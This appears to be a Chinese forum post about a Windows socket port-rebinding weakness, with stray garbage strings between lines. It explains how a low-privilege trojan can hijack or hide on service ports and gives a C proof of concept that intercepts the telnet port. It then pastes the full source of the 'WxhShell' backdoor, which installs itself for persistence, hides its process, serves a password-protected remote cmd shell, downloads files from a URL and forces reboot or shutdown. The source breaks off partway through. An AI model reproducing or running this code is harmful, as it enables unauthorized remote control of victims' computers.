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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~#P` 7G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y^5)u/Y=U -wnBdL saddr.sin_family = AF_INET; PW*[(VX 2$joM`j$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZP4y35&%y rWuqlx# bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O]9PYv=^ %/K;!'7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iB{l: ].N%A07 这意味着什么?意味着可以进行如下的攻击: s#(<zBZ9p# 69``j{Z+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gwfi 'R n\CMTH 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DV~g idZ]d6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %wmbFj} o5w = 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 \'P79=AU u< 5{H='6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?Aky!43 ue!wo-|#G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 aN"dk-eK )m10IyUAY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2TX.%%Ze
kO8oH8Vt #include 2D{`AJ #include t[bZg9; #include U 0dhr; l #include )s8{|) - DWORD WINAPI ClientThread(LPVOID lpParam); FzQ6UO~' int main() Z}r9jM { 9Qc=D"' WORD wVersionRequested; ~qb-uT\(99 DWORD ret; 24d{ol) WSADATA wsaData; @Yzb6@g" BOOL val; y6Ea_v SOCKADDR_IN saddr; I!g+K SOCKADDR_IN scaddr; Vs&Ul6@N int err;
.v#Tj|w^ SOCKET s; E"t79dD SOCKET sc; [gE2;J0* int caddsize; RjG=RfB'V HANDLE mt; Wg=4`&F^ DWORD tid; 0/b3]{skK wVersionRequested = MAKEWORD( 2, 2 ); LhtA]z,m err = WSAStartup( wVersionRequested, &wsaData ); G\H |\i if ( err != 0 ) { U$6(@&P! printf("error!WSAStartup failed!\n"); >Te h ?P return -1; [kPF J f } 2[Bw+<YA` saddr.sin_family = AF_INET; |&0Cuwt T2MXwd&l //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wO*x0$ w?A6S-z saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p!p:LSk"/b saddr.sin_port = htons(23); ,Zs*07!$f if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [O^mG
9 { Q~$hx{foN printf("error!socket failed!\n"); =_9grF- return -1; 4*_. m9{ } z%[^-l- val = TRUE; 5^GrG|~ //SO_REUSEADDR选项就是可以实现端口重绑定的 jR mo9Bb2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \Qe`>nA { pq<2:F:Kl printf("error!setsockopt failed!\n"); C4t@;U=x return -1; oa8xuFu(n } `:;fc //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _[ufH* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >$N ?\\# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sGFC?1r?\ OA8iTn if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5$"IUq* { T Ue=Yj ret=GetLastError(); LP5@ID2G printf("error!bind failed!\n"); Xe:e./@ return -1; hGlRf_{ } |j~{gfpSE listen(s,2); h<IPV'1 while(1) 5SwQ9# { :,FI 6` caddsize = sizeof(scaddr); _6{XqvWqb //接受连接请求 {x/)S*:Z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J+0T8
?A if(sc!=INVALID_SOCKET) $ 2PpG|q { !6DH6<HC mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fs%l j_t if(mt==NULL) )w&k&TY4H { jij-pDQnv printf("Thread Creat Failed!\n"); C(lGW,! break; j+QE~L } _t;Mi/\P } ) E(9
R( CloseHandle(mt); p+O,C{^f } #tQ__V closesocket(s); `{W>Dy WSACleanup(); G}p*oz~ return 0; Q
a8;MxK` } Dro2R_j{ DWORD WINAPI ClientThread(LPVOID lpParam) b;Uqyc { qr_:zXsob_ SOCKET ss = (SOCKET)lpParam; Jx4"~ 4 SOCKET sc; .z&,d&E unsigned char buf[4096]; <B3$ODGJp SOCKADDR_IN saddr; 4Q
n5Mr@< long num; 2g:V_% DWORD val; o<nkK+=Afm DWORD ret; >.f'_2#Z& //如果是隐藏端口应用的话,可以在此处加一些判断 v* /}s :a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 D0a3%LBS/2 saddr.sin_family = AF_INET; k&SI-jxj saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^h\Y. saddr.sin_port = htons(23); "qv J-Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hTK6N { M|uWSG printf("error!socket failed!\n"); /$?7L( return -1; %:hU:+G E } v\b@;H` val = 100; !Au 9C
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \rY<DxtOq { K"U[OZC` ret = GetLastError(); @Zov&01 return -1; :Vl2\H=P } ;Alw`' if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m03]SF(#3 { 7z^\}& ret = GetLastError(); t~@~XI5 return -1; w*7BiZ{s< } h,%b>JFo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hj|P*yKV { sJq^>"|J printf("error!socket connect failed!\n"); RbGq$vYol/ closesocket(sc); &['cZ/bM closesocket(ss); @Ap~Wok return -1; [
bB
} Dhy@!EOS while(1) vgvJ6$# { rLzN#Zoi //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xD3Y-d9 //如果是嗅探内容的话,可以再此处进行内容分析和记录 `oUuAL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ( 17=|s num = recv(ss,buf,4096,0); {Mx3G*hr if(num>0) 8O0E;6b send(sc,buf,num,0); -^+!:0'; else if(num==0) NT}r6V(Aju break; ~99DE78 num = recv(sc,buf,4096,0); :M'V**A( if(num>0) tV5Uz&:b send(ss,buf,num,0); I? o)X! else if(num==0) (#`1[n+b`x break; v?en-,{A } #\X="'/ closesocket(ss); Yl!~w:O!o closesocket(sc); +IpC return 0 ; xesZ7{ o } \vQjTM-7 v;m}<3@' tjIT4 ========================================================== .uGvmD<;x 3Sb'){.MT+ 下边附上一个代码,,WXhSHELL ,
e6}p ]-b`uYb ========================================================== Q7vTTn\ cXY;Tw45 #include "stdafx.h" mqFo`Ee c
Oi:bC@ #include <stdio.h> ?6=u[))M& #include <string.h> ,J63?EQ3 #include <windows.h> vOl<
#include <winsock2.h> ~p0M| #include <winsvc.h> bm:"&U*tu' #include <urlmon.h> jx7b$x] [^4)3cj7} #pragma comment (lib, "Ws2_32.lib") 9X- w5$< #pragma comment (lib, "urlmon.lib") sWc_,[b s
v}o% #define MAX_USER 100 // 最大客户端连接数 eAPNF?0yh #define BUF_SOCK 200 // sock buffer CCQ38P@rv #define KEY_BUFF 255 // 输入 buffer 6bXR?0$*M. Xi~%,~ #define REBOOT 0 // 重启
2l#c?]TA #define SHUTDOWN 1 // 关机 YAoGVey f,_EPh> #define DEF_PORT 5000 // 监听端口 #uzp <*4BT}r,^2 #define REG_LEN 16 // 注册表键长度 BD(Y=g #define SVC_LEN 80 // NT服务名长度 >.)m|, l9eCsVQ~V // 从dll定义API dvl'Sq< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fd<a%nSD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jLZ^EM- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c{X:0man typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lPywrTG0 [m9Iz!E // wxhshell配置信息 %Ct^{k~1 struct WSCFG {
nGqD{!i< int ws_port; // 监听端口 O^+H:Y| char ws_passstr[REG_LEN]; // 口令 yD-L:)@" int ws_autoins; // 安装标记, 1=yes 0=no C=&rPUX{ char ws_regname[REG_LEN]; // 注册表键名 UHh7x%$n char ws_svcname[REG_LEN]; // 服务名 eM$NVpS3 char ws_svcdisp[SVC_LEN]; // 服务显示名 #!i& char ws_svcdesc[SVC_LEN]; // 服务描述信息 OdrnPo{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PS=N]e7k' int ws_downexe; // 下载执行标记, 1=yes 0=no WX9ABh& 5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" -xXz}2S4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :47bf<w|Y 5@kNvi }; oXxY$x*R1 \[57Dmo // default Wxhshell configuration ls928 struct WSCFG wscfg={DEF_PORT, |v6kZ0B< "xuhuanlingzhe", 7`c\~_Df_ 1, aA|<W
g "Wxhshell", XJ3p< "Wxhshell", .a0]1IkatV "WxhShell Service", $k,wA8OZ- "Wrsky Windows CmdShell Service", A./VO "Please Input Your Password: ", Q,f~7IVX 1, b-+~D9U< " http://www.wrsky.com/wxhshell.exe", 0S%xm'|N "Wxhshell.exe" hN5?u: }; [K=M;$iQ 1_of;=9V // 消息定义模块 KS3>c7 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k"z ~> char *msg_ws_prompt="\n\r? for help\n\r#>"; s)L\D$;+O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; t{ R\\j char *msg_ws_ext="\n\rExit."; fVXZfq6 char *msg_ws_end="\n\rQuit."; 6`
8H k; char *msg_ws_boot="\n\rReboot..."; VPh0{(O^= char *msg_ws_poff="\n\rShutdown..."; ;Eer char *msg_ws_down="\n\rSave to "; V8Fp1?E9S {#_CzI.0f char *msg_ws_err="\n\rErr!"; OABMIgX char *msg_ws_ok="\n\rOK!"; ?DwI>< W p";5J+?( char ExeFile[MAX_PATH]; 'BiR ,M$mY int nUser = 0; =Lc!L
!(,b HANDLE handles[MAX_USER]; 1LK` int OsIsNt; EDA%qNd]j S#{jyU9 ] SERVICE_STATUS serviceStatus; <0w"$.K#3 SERVICE_STATUS_HANDLE hServiceStatusHandle; cR*5iqA @BfJb[A# // 函数声明 :< d. int Install(void); I0qSx{K int Uninstall(void); RnaxRnXVR int DownloadFile(char *sURL, SOCKET wsh); J2BCaAwEP, int Boot(int flag); ;K$ !c5 void HideProc(void); i0TbsoKh: int GetOsVer(void); ev'` K=n8 int Wxhshell(SOCKET wsl); V 4` void TalkWithClient(void *cs); 5{"v/nXV int CmdShell(SOCKET sock); XYh)59oM% int StartFromService(void); wqnHaWd* int StartWxhshell(LPSTR lpCmdLine); xk:=.Qqh 'e(]woe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T)Zef VOID WINAPI NTServiceHandler( DWORD fdwControl ); '
a>YcOw V`WSZ // 数据结构和表定义 cs]h+yE SERVICE_TABLE_ENTRY DispatchTable[] = mM $|cge" { ..K@'*u {wscfg.ws_svcname, NTServiceMain}, =.48^$LWx {NULL, NULL} \x7^ly$_ }; h]>QGX[kC P2!+ZJ& // 自我安装 $SOFq+-T int Install(void) L7`=ec< {
=]
+owl2 char svExeFile[MAX_PATH]; Z^[
]s1iP} HKEY key; Img$D*BM strcpy(svExeFile,ExeFile);
Nt
w?~% 0z
=?}xr // 如果是win9x系统,修改注册表设为自启动 l"rX'g? if(!OsIsNt) { :u9OD` D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~z kzuh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gJZH??b RegCloseKey(key); LsI8T
uv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zCe[+F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); chE}TK RegCloseKey(key); ZamOYkRX return 0; `9*
|Y 8: } )
w1`<7L } Iysp) } lS96Z3k"SB else { Due@' WqJrDj~ // 如果是NT以上系统,安装为系统服务 jl"su:y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Rm\@E
[ if (schSCManager!=0)
I !J' { 8-PHW,1@a3 SC_HANDLE schService = CreateService ,gdud[&|; ( rQD^O4j R schSCManager, w$DHMpW' wscfg.ws_svcname, t}YT+S wscfg.ws_svcdisp, ,x=S)t SERVICE_ALL_ACCESS, <5 } SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vk4Q2P SERVICE_AUTO_START, r,HIoeAKP SERVICE_ERROR_NORMAL, q"e]\Tb=we svExeFile, ~+)>D7 NULL, nCS" l5 NULL, 6dncUfB NULL, &<LBz| NULL, T' > MXFLh NULL &\y`9QpVF ); %XBMi~ if (schService!=0) ^~;"$=Wf { 7|PB6h3 CloseServiceHandle(schService); +^DDWVp CloseServiceHandle(schSCManager); Z0[d;m* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]Zz.n5c strcat(svExeFile,wscfg.ws_svcname); ;Rljx3!N if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ntntB{t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,
.E> RegCloseKey(key); !<3!ORFO return 0; 0Lf4^9N } RKPX*(i~ } U38~m}c CloseServiceHandle(schSCManager); :Y Ki } +# 3e<+!F } FyQr$;r |->CI return 1; RcC5_@W } \^1S:z hXh nJ // 自我卸载 Ae[fW97 int Uninstall(void) 4a=QTq0p { aka)#0l . HKEY key; FP'-=zgc 7^7Jh&b)/ if(!OsIsNt) { #U(kK(uO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \(MIDCZ@- RegDeleteValue(key,wscfg.ws_regname); ^
-4~pDv^ RegCloseKey(key); Q2!5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A5T&i] RegDeleteValue(key,wscfg.ws_regname); MD^,"!A RegCloseKey(key); 5eiKMKW[ return 0; I^Dm 3yz } N8iLI` } "~mY4WVG } 2?{'(iay else { nTl2F1(sV7 6>]w1
H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;0U*N &
f if (schSCManager!=0) aaP6zJXi { iB|htH'T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nV`U{}x if (schService!=0) Ci4;e { @^Rl{p if(DeleteService(schService)!=0) { ?rjB9AC_;t CloseServiceHandle(schService); I^n DO\m < CloseServiceHandle(schSCManager); f92z/5%V return 0; = N;5T } R nwFxFIQ CloseServiceHandle(schService); &f}w&k2yj } n@L@pgo%~ CloseServiceHandle(schSCManager); U\u07^h[ } \Si p } ?qb35 \,fa"^8 return 1; ~yt 7L,OQ } `^] D;RfE @C<ofg3E // 从指定url下载文件 >C19Kie72 int DownloadFile(char *sURL, SOCKET wsh) VEp cCK { tY>Zy1hlI HRESULT hr; v[2&0&!K# char seps[]= "/"; '#XT[\ char *token; 9a @rsyX char *file; sopf-g: char myURL[MAX_PATH]; Q:|W/RD~ char myFILE[MAX_PATH]; L9<\vJ ?;_*8Doq-a strcpy(myURL,sURL); Rx.v/H token=strtok(myURL,seps); C5~n^I| while(token!=NULL) r6nnRN/S= { 4BSqL!i( file=token; $}.+}'7$ token=strtok(NULL,seps); 1+gF fKq } |;7mDhj= &=x4M]t9L GetCurrentDirectory(MAX_PATH,myFILE); ;*$e8y2 strcat(myFILE, "\\"); Jt[,V*:# strcat(myFILE, file); Y!8FW| send(wsh,myFILE,strlen(myFILE),0); yIcTc send(wsh,"...",3,0); xr{Ym99E$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WQ}wQ:] if(hr==S_OK) m^0vux return 0; F(#?-MCs else $btu=_|f return 1; cS'{h EK5$z>k>m } 0>8w On B;?)X&n|X // 系统电源模块 /y$ Fw9R; int Boot(int flag) b*.aaOb { 6UqAs<c9 HANDLE hToken;
4g"%?xN TOKEN_PRIVILEGES tkp; ,~=]3qmbR - om9 Z0e if(OsIsNt) { 0ki- /{; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XPU>} 4{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /OWwC%tM/ tkp.PrivilegeCount = 1; xnt) 1Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Y[D#Ja- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |?#JCG if(flag==REBOOT) { A[8m3L#k if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E]rXp~AZm return 0; u5Vgi0}A } TIxOMY y else { bD0l^?Hu! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rVqQo`K\ return 0; j<P;: } s~].iQJ{B } W2#<]]- else { [#C6K ' if(flag==REBOOT) { GdcXU:J / if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rHTZM,zM=H return 0; !8[T*'LJ-
} 4`,7tj else { DtFHh/X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9xO@_pkX return 0; K^U=" } A1INaL } = V2Rq(jH DH
yv^ return 1; 2t9UJu4 } $Yt|XT+!& @t~y9UfF // win9x进程隐藏模块 7;o:r$08&} void HideProc(void) S)rr { @b,H'WvhfS E<Zf!!3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jkx>o?s)z if ( hKernel != NULL ) ?UAuUFueA { @k&6\1/U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rey+3*zUb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `z\hQ%1!F FreeLibrary(hKernel); . s9E
+1 } {#qUZ z- Tc/^h4xH return; u"=]cBRWL6 } 8&G9 ?n`I5 9L:wfg}8s // 获取操作系统版本 'EiCTl int GetOsVer(void) L@{'J { s|e.mZk/ OSVERSIONINFO winfo; ud r\\5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Yi%lWbr GetVersionEx(&winfo); h(HpeN%`# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x*7A33@i return 1; "-$}GUK?Z else %-!%n=P return 0; XnZ$%?$ } x.*^dM@V KsP2./N // 客户端句柄模块 <E4(KE int Wxhshell(SOCKET wsl) Tse#{ { ~^1y(-cw SOCKET wsh; UHZ&7jfl struct sockaddr_in client; 5_aj]"x DWORD myID; +PjTT6 QQS*r}> while(nUser<MAX_USER) YWK0.F,8a { =U3S"W % int nSize=sizeof(client); =O }^2OARo wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Nt
5TG_ if(wsh==INVALID_SOCKET) return 1; K9#kdo1 2 Nn[*ox#i handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Lgea if(handles[nUser]==0) v:P]o9Oj8 closesocket(wsh); +d6onO{8 else v1,#7sAW' nUser++; N.JR($N$ } ?>h
~"D# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HLW_Y|QaFo 'z.
GAR return 0; R.rch2 } _d@YLd78P ;
BN81; // 关闭 socket |Gf<Ql_.4 void CloseIt(SOCKET wsh) zWC| Qe { }ssV"5M closesocket(wsh); >[;W~* nUser--; -wXeue},> ExitThread(0); Mp`$1Ksn } {$z54nvw$ 1%+-}yo< // 客户端请求句柄 qSvV|G void TalkWithClient(void *cs) :hZM$4 { ]o<]A[< Kz"3ba}KH SOCKET wsh=(SOCKET)cs; idYB.]Y( char pwd[SVC_LEN]; ?:\/-y)Sp char cmd[KEY_BUFF]; F0<)8{s char chr[1]; ]%Eh" int i,j; ?}KRAtJ8 =wh[D$n$~ while (nUser < MAX_USER) { e_=K0fFz @wR3L:@ if(wscfg.ws_passstr) { *6/IO&y1a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B>fZH\Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y0d= //ZeroMemory(pwd,KEY_BUFF); eA4D.7HDK i=0; ,m=G9QcN while(i<SVC_LEN) { EB[T 5{ N(7 XILC // 设置超时 Z\nDR|3 fd_set FdRead; A9.TRKb=8 struct timeval TimeOut; VmqJMU>. FD_ZERO(&FdRead); qdix@@ FD_SET(wsh,&FdRead); Te-p0x?G. TimeOut.tv_sec=8; n5$#M TimeOut.tv_usec=0; .$&^yp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -!PJHCLd if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j}^w:W76 AM}2=Ip if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f;{Q ~ pwd =chr[0]; KW .4 9 if(chr[0]==0xd || chr[0]==0xa) { cqG6di7# pwd=0; <+k&8^:bi break; EV?}oh"x } '0HOL)cIz i++; O-(V`BZe } 7_I83$p' Ek L2nI // 如果是非法用户,关闭 socket "W7|Xp if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TPN+jK } jKq*@o~} [|Qzx w9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ).71gp@& send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iww/ s tJ^p}yxO while(1) { %hVR|K|J 8qyEHUN2q ZeroMemory(cmd,KEY_BUFF); Wlc&QOfF 3k1e // 自动支持客户端 telnet标准 dVbFMQ& j=0; 1@|+l!rYF while(j<KEY_BUFF) { j.q}OK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I){4MoH. cmd[j]=chr[0]; ,P a*; o\ if(chr[0]==0xa || chr[0]==0xd) { O <Rh[Aqn cmd[j]=0; `==l2AX break; XO
<0;9| } h5P_kZJ j++; ;XN|dq } K7RAmX gQeQy // 下载文件 4m0^
N if(strstr(cmd,"http://")) { +hN>Q$E send(wsh,msg_ws_down,strlen(msg_ws_down),0); c~R'`Q if(DownloadFile(cmd,wsh)) Xd(^7~i send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3}|[<^$ else al2lC#Sy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1=)M15 } 3]*Kz*i else { ^FLs_=E :{%[6lE^G switch(cmd[0]) { 2^o7 ^S g{'f%bkG // 帮助 L8`v case '?': { "Vp
nr +6 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yT7$6x break; 'I$FOH } J0!V ( // 安装 1B;2 ~2X case 'i': { RcYUO* if(Install()) Rl ]x: send(wsh,msg_ws_err,strlen(msg_ws_err),0); IJ Jp5[w else H,(vTthd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'n'>+W: break; ^-"Iwy } "9caoPI0~ // 卸载 AT&K> NG case 'r': { ~Zr}QO}G if(Uninstall()) O*~,L6# } send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ksuk9M else D;R~!3f./b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /QQRy_Z1) break; /PwiZA3sA } %/A>'p,~ // 显示 wxhshell 所在路径 Tx.N#,T| case 'p': { }t^wa\ char svExeFile[MAX_PATH]; u$d[&|`>_ strcpy(svExeFile,"\n\r"); <\#'o} strcat(svExeFile,ExeFile); UePkSz9EU send(wsh,svExeFile,strlen(svExeFile),0); '-v:"%s| break; kSz+UMC-7: } Tw-NIT) // 重启 WGv 47i case 'b': { |]< 3cW+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gy.UTAs
N if(Boot(REBOOT)) LSC[S: send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gn2{C% else { =o9s?vOJ closesocket(wsh); s;vt2>;q+e ExitThread(0); Ih.+-!w } ^77W#{ Zs break; VEgtN} } nqy*>X` // 关机 Q4cCg7|0 case 'd': { Eg)24C R 4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (%B{=w}8 if(Boot(SHUTDOWN)) `H! (hMMV send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?,pwYT0g else { q=X<QhK closesocket(wsh); "KIY+7@S} ExitThread(0); A$@;Q5/2 } JK!(\Ae. break; !)]/?&uo } n#P>E(K // 获取shell
9)VAEyv case 's': { 3RtVFDIZA" CmdShell(wsh); %E_Y4Oe1 closesocket(wsh); +@rFbsyJ. ExitThread(0); TanWCt4r break; ZO%^r%~s } LQ~|VRRX< // 退出 0
P YYG case 'x': { dEk#"cvg send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HgY@M CloseIt(wsh); "&={E{pQ break; 4;YP\{u } 0S5xmEzop // 离开 )h]+cGM case 'q': { 7z;2J;u`n send(wsh,msg_ws_end,strlen(msg_ws_end),0); J@-'IJ closesocket(wsh); )]fiyXA
WSACleanup(); -YQh
F;/ exit(1); 77M!2S_E break; WHE<E
rV% } NMkP#s7.y } L/u|90)L } +ayC0 LaJvPOQ // 提示信息 J&aN6 l? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $]|3^(y`` } gCghWg{S } ]H/,Q6Q ZjxF@`H return;
LgF?1? } Nw. )O ]0R*F30] // shell模块句柄 Y!M0JSaM int CmdShell(SOCKET sock) %G!!0V! { *P' X[z STARTUPINFO si; p7YYAh@x\ ZeroMemory(&si,sizeof(si)); xo@1((|z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hF-QbO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KiXfR\S~C PROCESS_INFORMATION ProcessInfo; 4 ?BQ&d char cmdline[]="cmd"; eX"%b(;s CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "_UnN}Uk return 0; j/TnKO } 51ViJdZ
vGi<" Sn7 // 自身启动模式 oZ2:% int StartFromService(void) NV./p`k { (A?>U_@ typedef struct YW7w>}aW { %f;v$rsZ DWORD ExitStatus; ;}Jv4Z DWORD PebBaseAddress; {gzQ/|}#z- DWORD AffinityMask; CG%bZco(( DWORD BasePriority; mPA)G,^ ULONG UniqueProcessId; GSRf/::I}4 ULONG InheritedFromUniqueProcessId; !PIg, } PROCESS_BASIC_INFORMATION; 5 SQ!^1R 9 0gqV>: PROCNTQSIP NtQueryInformationProcess; sO) H#G |}d^lQ9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B*G]Dr)e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cWQJ9.:7 @|(cr: (=H HANDLE hProcess; ;jgf,fbM PROCESS_BASIC_INFORMATION pbi; pBAAwHD f_ MK4 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [lIX&!T" if(NULL == hInst ) return 0; \8#[AD*@s2 \Hb!<mrp g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {U-z(0 g_pGetModuleBaseName 